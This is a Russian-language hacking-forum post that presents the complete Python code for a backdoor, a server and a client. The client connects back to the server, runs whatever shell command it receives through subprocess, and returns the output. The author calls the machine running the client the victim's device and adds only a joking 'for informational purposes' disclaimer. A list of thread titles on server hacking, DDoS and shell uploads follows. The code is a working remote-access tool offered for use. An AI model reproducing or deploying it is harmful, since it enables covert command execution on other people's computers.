Интересно Клинет-сервер на Python3 на примере бэкдора

Dark Shopping

Eteriass

Original poster
Pro Member
Сообщения
101
Реакции
109
Посетить сайт
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
1640684936029.png

Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
1640685059569.png
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера

Python:
# Импортируем модуль для работы с сокетами

import socket

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "0.0.0.0" 
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket()  #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)

#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
    command = input(f"{cwd} $> ")
    if not command.strip():
        continue
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
    print("Вывод :", output)
    results, cwd = output.split(SEPARATOR)
    print(results)

#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()

И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу


#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
    command = s.recv(BUFFER_SIZE).decode()
    #Разделяем команду по разделителю, который мы создали раньше
    splited_command = command.split(SEPARATOR)
    if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
        break
    if "cd " in command: #Если "слово" cd присутствует в нашей команде
        try:
            """
            Удаляем "cd"
            меняем каталог на тот, который указан в строке
            """
            directory = str(command).replace('cd ', '').strip()
            os.chdir(str(directory))
        except FileNotFoundError as e: #если файл не найден, передаем ошибку
            output = str(e)
        else:
            output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
    else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
        output = subprocess.getoutput(command)
    cwd = os.getcwd() #Получаем рабочий каталог
    message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
    s.send(message.encode()) #Отправляем

#Если цикл прерван, закрываем сокет
s.close()

Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
1640689782979.png

Как видим команды выполняются, исполним еще несколько:
1640689822869.png
И, все как видим в порядке.

Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...

P.s. Ну куда же мы без дисклеймера :)

На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)

P.p.s Если лень переписывать, файлы найдете

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
Support81 Один файл — и сгорел весь сервер: что случилось с American Megatrends Новости в сети 0
W Бесплатный сервер VPS за 5 минут Раздача (аккаунтов/ключей) 2
Tania1212 Создал Discord сервер где будет моя музыка … Видео/Музыка 1
АнАлЬнАя ЧуПаКаБрА INLINE GTA 5 Чекер на rp сервер Проекты Private Keeper 0
Admin Интересно Дамп mc-magicstore.ru (Русский minecraft сервер) Другое 0
Admin Интересно Jabber сервер ufolabs.im Информация по работе сайта и форума 3
A Взломали архивный сервер Pale Moon Новости в сети 0
Tania1212 Продам Продаю сервер работающий под Android приложение на тематику анонимного чата Сайты/Хостинг/Сервера 0
K Можно ли взломать сервер… Вопросы и интересы 6
T Open Server - портативный локальный сервер Другие ЯП 0
K Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
V Как поднять dns-сервер Полезные статьи 1
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
G XAMPP - Web-сервер Полезные статьи 0
S Как делать DDos/Dos атаки через VDS сервер Spam/DDOS/Malware 0
I За сколько сольете мне DB Майнкрафт сайта(рашин сервер)) Полезные статьи 0
Admin Хакеры взломали dns-сервер сервиса blackwallet и похитили $400 тыс. в криптовалюте Новости в сети 0
Allen Запускаем собственный VPN-сервер на SSD VDS Полезные статьи 0
K Как взломать сервер андроид приложения? Вопросы и интересы 3
K Как открыть CS 1.6 сервер ? Вопросы и интересы 1
S Чекер базы на паблик и отправка привата на сервер Вопросы и интересы 6
Support81 Ему 19 лет, а на счету — сотни атак и вымогательства на миллионы: лицо Scattered Spider рассекречено Новости в сети 0
Support81 США и Европол разыскивают хакера из Украины, организовавшего кибератаки на несколько сотен компаний Новости в сети 0
Support81 72 часа молчания и манифест. Самые известные хакеры ушли на пенсию, оставив лишь записку Новости в сети 0
Support81 Одна картинка — и полный контроль над вашей системой. Хакеры взяли на вооружение стандартные утилиты Windows Новости в сети 0
Support81 «Самый разыскиваемый» хакер вышел на свободу. Почему его выпустили досрочно? Новости в сети 0
Support81 «Killnet – это просто шапито на выезде». Большое интервью с Sean Townsend, легендой украинского хакинга Полезные статьи 1
wrangler65 АБУЗЗ НА ФРИБЕТАХ Абузз 0
wrangler65 18.000₽ в ДЕНЬ на УПРОЩЕННОМ мотиве Абузз 0
Support81 Двуликий троян CastleRAT — одна версия на Python, другая на C для максимального ущерба Новости в сети 0
Support81 2026 год станет концом правды — ИИ-фабрики пропаганды выйдут на полную мощность Новости в сети 0
Support81 UEFI, драйверы, браузеры — всё под ударом одновременно. Касперский зафиксировал тотальную атаку на компьютерные подсистемы Новости в сети 0
Support81 Кто накажет интернет-воров? Америка выпускает орду бывших хакеров с лицензией на месть Новости в сети 0
Support81 А не пора ли на покой? Информация по работе сайта и форума 1
Support81 Житель Небраски приговорен к году тюрьмы за кражу криптовалюты на сумму 3,5 млн долларов Новости в сети 0
Support81 Майнили воздух и летали на частных самолётах — чем закончилась афера HashFlare Новости в сети 0
Support81 Ждали курьера — получили звонок от “Роскомнадзора” и минус на счёте Новости в сети 0
Support81 56 человек и 1,2 млн сим-карт. Минцифры наткнулось на армию теневых абонентов Новости в сети 0
Support81 На Украине атакована ключевая фигура, стоящая за крупным русскоязычным форумом киберпреступности Новости в сети 1
wrangler65 Атаки на беспроводные сети Уязвимости и взлом 0
Support81 Вредоносное расширение VSCode в Cursor IDE привело к краже криптовалюты на сумму 500 тысяч долларов Новости в сети 0
wrangler65 RemoteWA Охота на пользователей Whatsapp Анонимность и приватность 0
Support81 Национальное агентство по борьбе с преступностью (NCA) Великобритании арестовало четырех человек, подозреваемых в причастности к кибератакам на крупны Новости в сети 0
Support81 Идеальное оружие для киберпреступников: нейросети заставляют вас самих кликать на фишинговые ловушки Новости в сети 0
Support81 Microsoft снова сыграла на руку хакерам — корпоративные сети ломают через официальный софт Новости в сети 0
wrangler65 Повлияет ли введение цифровой валюты Центробанка на кардинг? Полезные статьи 0
Support81 Британскому хакеру IntelBroker предъявлены обвинения в киберпреступлениях на сумму 25 млн долларов Новости в сети 0
Support81 Telegram победил рынок фрода на $35 млрд… но всего на пару дней Новости в сети 0
АнАлЬнАя ЧуПаКаБрА MIX 1win разбитый на ГЕО 71kk Раздача email 0
Support81 Настройка Postfix&DKIM на сервере Ubuntu Полезные статьи 0

Название темы